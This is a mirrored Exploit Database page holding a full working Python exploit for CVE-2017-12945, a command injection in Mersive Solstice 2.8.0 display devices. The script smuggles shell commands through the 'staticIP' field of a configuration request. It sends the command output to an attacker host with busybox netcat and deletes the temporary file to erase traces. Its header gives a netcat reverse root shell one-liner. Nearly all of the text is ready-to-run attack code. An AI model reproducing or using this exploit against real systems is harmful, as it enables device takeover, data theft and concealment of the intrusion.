Mersive Solstice 2.8.0 – Remote Code Execution

• Exploit Database
• 105 阅读

• 作者： Alexandre Teyar
  日期： 2019-11-28
• 类别：

  • webapps
  平台：

  • android
• 来源：https://www.exploit-db.com/exploits/47722/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209

  # Exploit Title: Mersive Solstice 2.8.0 - Remote Code Execution # Google Dork: N/A # Date: 2016-12-23 # Exploit Author: Alexandre Teyar # Vendor Homepage: https://www2.mersive.com/ # Firmware Link: http://www.mersive.com/Support/Releases/SolsticeServer/SGE/Android/2.8.0/Solstice.apk # Versions: 2.8.0 # Tested On: Mersive Solstice 2.8.0 # CVE: CVE-2017-12945 # Description : This will exploit an (authenticated) blind OS command injection # vulnerability present in Solstice devices running versions # of the firmware prior to 2.8.4. # Notes : To get the the command output (in piped-mode), a netcat listener # (e.g. &apos;nc -lkvp <LPORT>&apos;) needs to be launched before # running the exploit. # To get an interactive root shell use the following syntax # &apos;python.exe .\CVE-2017-12945.py -pass <PASSWORD> # -rh <RHOST> -p "busybox nc <LHOST> <LPORT> # -e /system/bin/sh -i"&apos;.     #!/usr/bin/env python3   import argparse import logging import requests import sys import time     def parse_args(): """ Parse and validate the command line supplied by users """ parser = argparse.ArgumentParser( description="Solstice Pod Blind Command Injection" )   parser.add_argument( "-d", "--debug", dest="loglevel", help="enable verbose debug mode", required=False, action="store_const", const=logging.DEBUG, default=logging.INFO ) parser.add_argument( "-lh", "--lhost", dest="lhost", help="the listening address", required=False, type=str ) parser.add_argument( "-lp", "--lport", dest="lport", help="the listening port - default 4444", required=False, default="4444", type=str ) parser.add_argument( "-p", "--payload", dest="payload", help="the command to execute", required=True, type=str ) parser.add_argument( "-pass", "--password", dest="password", help="the target administrator password", required=False, default="", type=str ) parser.add_argument( "-rh", "--rhost", dest="rhost", help="the target address", required=True, type=str )   return parser.parse_args()     def main(): try: args = parse_args()   lhost = args.lhost lport = args.lport password = args.password rhost = args.rhost   logging.basicConfig( datefmt="%H:%M:%S", format="%(asctime)s: %(levelname)-8s %(message)s", handlers=[logging.StreamHandler()], level=args.loglevel )   # Redirect stdout and stderr to <FILE> # only when the exploit is launched in piped mode if lhost and lport: payload = args.payload + " > /data/local/tmp/rce.tmp 2>&1" logging.info( "attacker listening address: {}:{}".format(lhost, lport) ) else: payload = args.payload   logging.info("solstice pod address: {}".format(rhost))   if password: logging.info( "solstice pod administrator password: {}".format(password) )   # Send the payload to be executed logging.info("sending the payload...") send_payload(rhost, password, payload)   # Send the results of the payload execution to the attacker # using &apos;nc <LHOST> <LPORT> < <FILE>&apos; then remove <FILE> if lhost and lport: payload = ( "busybox nc {} {} < /data/local/tmp/rce.tmp ".format( lhost, lport ) )   logging.info("retrieving the results...") send_payload(rhost, password, payload)   # Erase exploitation traces payload = "rm -f /data/local/tmp/rce.tmp"   logging.info("erasing exploitation traces...") send_payload(rhost, password, payload)   except KeyboardInterrupt: logging.warning("&apos;CTRL+C&apos; pressed, exiting...") sys.exit(0)     def send_payload(rhost, password, payload): URL = "http://{}/Config/service/saveData".format(rhost)   headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest", "Referer": "http://{}/Config/config.html".format(rhost) }   data = { "m_networkCuration": { "ethernet": { "dhcp": False, "staticIP": "; {}".format(payload), "gateway": "", "prefixLength": 24, "dns1": "", "dns2": "" } }, "password": "{}".format(password) }   # Debugging using the BurpSuite # proxies = { # &apos;http&apos;: &apos;http://127.0.0.1:8080&apos;, # &apos;https&apos;: &apos;https://127.0.0.1:8080&apos; # }   try: logging.info("{}".format(payload))   response = requests.post( URL, headers=headers, # proxies=proxies, json=data )   logging.debug( "{}".format(response.json()) )   # Wait for the command to be executed time.sleep(2)   except requests.exceptions.RequestException as ex: logging.error("{}".format(ex)) sys.exit(0)     if __name__ == "__main__": main()